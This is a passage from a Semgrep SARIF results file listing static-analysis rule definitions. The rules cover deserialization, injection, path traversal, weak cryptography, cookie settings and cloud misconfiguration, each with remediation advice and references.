Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-samesite-none.django-cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"help":{"markdown":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.insecure-object-assign.insecure-object-assign)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n - [https://en.wikipedia.org/wiki/Mass_assignment_vulnerability](https://en.wikipedia.org/wiki/Mass_assignment_vulnerability)\n","text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.insecure-object-assign.insecure-object-assign","id":"javascript.lang.security.insecure-object-assign.insecure-object-assign","name":"javascript.lang.security.insecure-object-assign.insecure-object-assign","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.insecure-object-assign.insecure-object-assign"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","id":"python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","name":"python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A specially crafted calldata may be used to impersonate other accounts"},"help":{"markdown":"A specially crafted calldata may be used to impersonate other accounts\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.superfluid-ctx-injection.superfluid-ctx-injection)\n - [https://rekt.news/superfluid-rekt/](https://rekt.news/superfluid-rekt/)\n - [https://medium.com/superfluid-blog/08-02-22-exploit-post-mortem-15ff9c97cdd](https://medium.com/superfluid-blog/08-02-22-exploit-post-mortem-15ff9c97cdd)\n - [https://polygonscan.com/address/0x07711bb6dfbc99a1df1f2d7f57545a67519941e7](https://polygonscan.com/address/0x07711bb6dfbc99a1df1f2d7f57545a67519941e7)\n","text":"A specially crafted calldata may be used to impersonate other accounts"},"helpUri":"https://semgrep.dev/r/solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","id":"solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","name":"solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.superfluid-ctx-injection.superfluid-ctx-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used."},"help":{"markdown":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification)\n - [https://nodejs.org/api/https.html#https_https_request_options_callback](https://nodejs.org/api/https.html#https_https_request_options_callback)\n - [https://stackoverflow.com/questions/20433287/node-js-request-cert-has-expired#answer-29397100](https://stackoverflow.com/questions/20433287/node-js-request-cert-has-expired#answer-29397100)\n","text":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","id":"java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","name":"java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block."},"help":{"markdown":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#default_action](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#default_action)\n - [https://docs.microsoft.com/en-us/azure/firewall/rule-processing](https://docs.microsoft.com/en-us/azure/firewall/rule-processing)\n","text":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","id":"terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","name":"terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","id":"terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","name":"terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","id":"javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","name":"javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","id":"python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","name":"python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"help":{"markdown":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none)\n - [https://flask-login.readthedocs.io/en/latest/#session-protection](https://flask-login.readthedocs.io/en/latest/#session-protection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","id":"python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","name":"python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-login-session-protection-app-config-none.flask-login-session-protection-app-config-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead."},"help":{"markdown":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1)\n - [https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html](https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html)\n - [https://shattered.io/](https://shattered.io/)\n","text":"Should not use SHA1 to generate hashes. There is a proven SHA1 hash collision by Google, which could lead to vulnerabilities. Use SHA256, SHA3 or other hashing functions instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","id":"ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","name":"ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.weak-hashes-sha1.weak-hashes-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","id":"python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","name":"python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-pillow-django.tainted-path-traversal-pillow-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"help":{"markdown":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.subprocess-injection.subprocess-injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.subprocess-injection.subprocess-injection","id":"python.flask.security.injection.subprocess-injection.subprocess-injection","name":"python.flask.security.injection.subprocess-injection.subprocess-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.subprocess-injection.subprocess-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `Lax` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag a different value on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","id":"python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","name":"python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-samesite-missing.flask-cookie-samesite-missing"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-dsa.cryptography-dsa)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"DSA is a legacy algorithm and should generally be avoided in favor of choices like EdDSA using curve25519 or ECDSA. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-dsa.cryptography-dsa","id":"python.cryptography.cryptography-dsa.cryptography-dsa","name":"python.cryptography.cryptography-dsa.cryptography-dsa","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-dsa.cryptography-dsa"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.system-command.command-injection-path.command-injection-path)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be injected 